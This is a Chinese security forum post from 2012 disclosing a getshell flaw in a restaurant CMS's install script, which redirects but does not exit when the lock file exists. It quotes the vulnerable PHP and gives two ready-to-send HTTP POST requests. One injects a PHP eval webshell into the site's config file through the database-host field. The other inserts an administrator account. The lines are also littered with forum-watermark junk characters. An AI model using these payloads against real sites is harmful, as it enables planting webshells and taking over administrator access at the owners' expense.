找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2126|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。. `0 n5 H7 W: j; J% [
" c: i* z$ h. q. l! f/ O9 g2 P3 u
<?php
# ]  J) _7 |9 n0 u# s  M. hif(file_exists("../install.lock"))4 P9 w5 d, m$ U* b
{
, b  h- i2 a, A7 _    header("Location: ../");//没有退出/ c, P3 q  c/ p* |4 s7 c/ N
}7 t/ P" ?4 q/ D1 B8 O; g
               # y1 Z9 P" @# A; `2 g! L* Q
//echo 'tst';exit;
3 X* b0 s/ ?: N: _/ J8 f; u! `require_once("init.php");, e) j7 S* h; o
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)# _0 Y5 N+ @% j) D/ U: D! [
{
; p' n. t/ [$ o- Y! j3 K1 o可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# g4 F! p5 J# P0 W. U) n! ]& P5 \+ p: _. o+ v+ u
1、getshell(很危险)& U( ^. Z; w' @& x; G% T4 j
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)+ J% I! e; T/ S
{
" a" {% C! s9 w$smarty->assign("step",1);! {8 R2 W4 J3 C  E( n6 E" Y
$smarty->display("index.html");' E# D- W8 }& w. H
}elseif($_REQUEST['step']==2)
! Z0 n4 \& H6 Q9 N{' n/ u: ~4 W" x0 Q- Q
    $mysql_host=trim($_POST['mysql_host']);
. y7 s" R7 E0 f; |$ P    $mysql_user=trim($_POST['mysql_user']);
, G, S" `2 w8 _+ V0 Z    $mysql_pwd=trim($_POST['mysql_pwd']);, n' f2 u: M( |- }
    $mysql_db=trim($_POST['mysql_db']);+ g( @1 ^/ W) w4 `
    $tblpre=trim($_POST['tblpre']);
( l( R5 W5 l8 d8 U    $domain==trim($_POST['domain']);
1 ^9 Z+ `& J: h7 a7 Y% U, r+ O    $str="<?php \r\n";- ]9 I8 ?( t3 b* k: {4 g
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
# W: k8 |1 n) m; t. G1 v3 [! T1 [    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
, a5 V6 E( A2 `3 M' u    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";* Z3 m: ?% N: `  u
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
" b2 W, k; {7 c, c    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";4 w' j+ p9 R: S5 A" R' q9 n* H( Y
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
5 b  @5 y9 `2 m' }7 F    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
3 l& o0 m' N# r9 N    $str.='define("SKINS","default");'."\r\n";$ @$ e7 f6 Y8 s
    $str.='?>';4 a3 i4 `' O: D" N, ^- y
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件, J& e3 @, a( K& r" a
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
2 R# t4 m& B) U5 g2 E8 K. ePOST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 r7 J' p8 x8 q' ~+ qHost: 192.168.80.129* _) y7 X7 {( d; p% x: L5 k
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
. `* e/ O9 P1 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! e8 g4 L1 f$ r, `1 V4 kAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3. d9 `0 m6 D; I* H
Accept-Encoding: gzip, deflate
3 V0 Z# g% i. P. f. V, N3 BReferer: http://192.168.80.129/canting/install/index.php?step=1
# a& d  h" h: }% h5 j. d5 ECookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc428 q9 }1 v" q( e1 v$ o
Content-Type: application/x-www-form-urlencoded
% K6 U8 z: V; w% @  O  dContent-Length: 1266 T0 y! v# Z3 C& q: j; T, a
          + H# _0 E# r- I- c2 N5 |  |
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
% _0 u4 x2 t! s3 {+ e但是这个方法很危险,将导致网站无法运行。9 G! @* b8 a7 U) X
6 B* E* n8 ^. e5 J+ S4 U2 ~
2、直接添加管理员
4 l# y6 I9 O& M  s+ Y! E5 g
* U. X4 [$ O2 [/ L8 ?5 v* o3 Selseif($_REQUEST['step']==5)8 @/ q: B# i: W) P. V; {
{& ^% {5 ^! g# w7 |8 T0 z! }
    if($_POST)! j3 n/ L, @, ?
    {   require_once("../config/config.inc.php");5 l0 {; }* z6 f0 d9 P
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
0 i& p! o7 U2 ~3 ^' g2 ~        mysql_select_db(MYSQL_DB,$link);4 h3 }8 ^$ [: \( Z" \5 s0 q6 A
        mysql_query("SET NAMES ".MYSQL_CHARSET );; h7 R1 A* p3 W# y  ]' e
         mysql_query("SET sql_mode=''");2 m$ k1 |( [' a- {1 u

9 z. P# ?% r5 H- o4 f $adminname=trim($_POST['adminname']);
% _0 `$ z, X- s; s3 e& `        $pwd1=trim($_POST['pwd1']);
/ Y+ q9 W% C% w+ j        $pwd2=trim($_POST['pwd2']);, \9 ~' _* w2 t
        if(empty($adminname))! ^! C  G2 Q* R5 R( A  x
        {# l. D3 e# B, l1 `/ U& x( ]

& ^+ b: ~+ g; B, Y; V echo "<script>alert('管理员不能为空');history.go(-1);</script>";
0 b- O8 ]- J* c$ ~* C6 m            exit();
- w6 F% V1 L  T$ G5 d        }
2 }" B. v$ }5 ~+ i" Y5 b        if(($pwd1!=$pwd2) or empty($pwd1))' G- t  L+ |4 s* |
        {
# p! s( y0 p' X7 d, V            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出2 ?4 t& U/ z  A0 `$ C
        }
: ]( W" t& ^0 M1 \' z8 s+ C        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员" Q4 M0 \1 ^+ ?! `  e
    }) j; e0 @2 l6 o5 q
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:2 |% w) Z6 Z- m3 _, b0 n
POST /canting/install/index.php?m=index&step=5 HTTP/1.1. r5 F: L# ]( i" s5 @) |
Host: 192.168.80.129, h  o# `0 D. u# g: l& d  b
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
* F; E/ \; r( o3 |% S2 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* h2 E$ ^: [; T. vAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3& P2 x" G6 n2 `2 T& R0 n) L* L
Accept-Encoding: gzip, deflate
0 C: d; q( f, C4 D% r9 Z/ J6 iReferer: http://www.2cto.com /canting/install/index.php?step=1' g5 T; ]+ J( r3 o. Q
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42# E& f2 Z& ?1 I0 v0 R
Content-Type: application/x-www-form-urlencoded) M( Q. b$ L2 F
Content-Length: 465 x; q  t4 {9 P: I' d
      
* X7 s- `6 s1 S  d- A3 o8 D" O  B/ wadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
5 K  x2 K" Y! ?2 L. |; h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表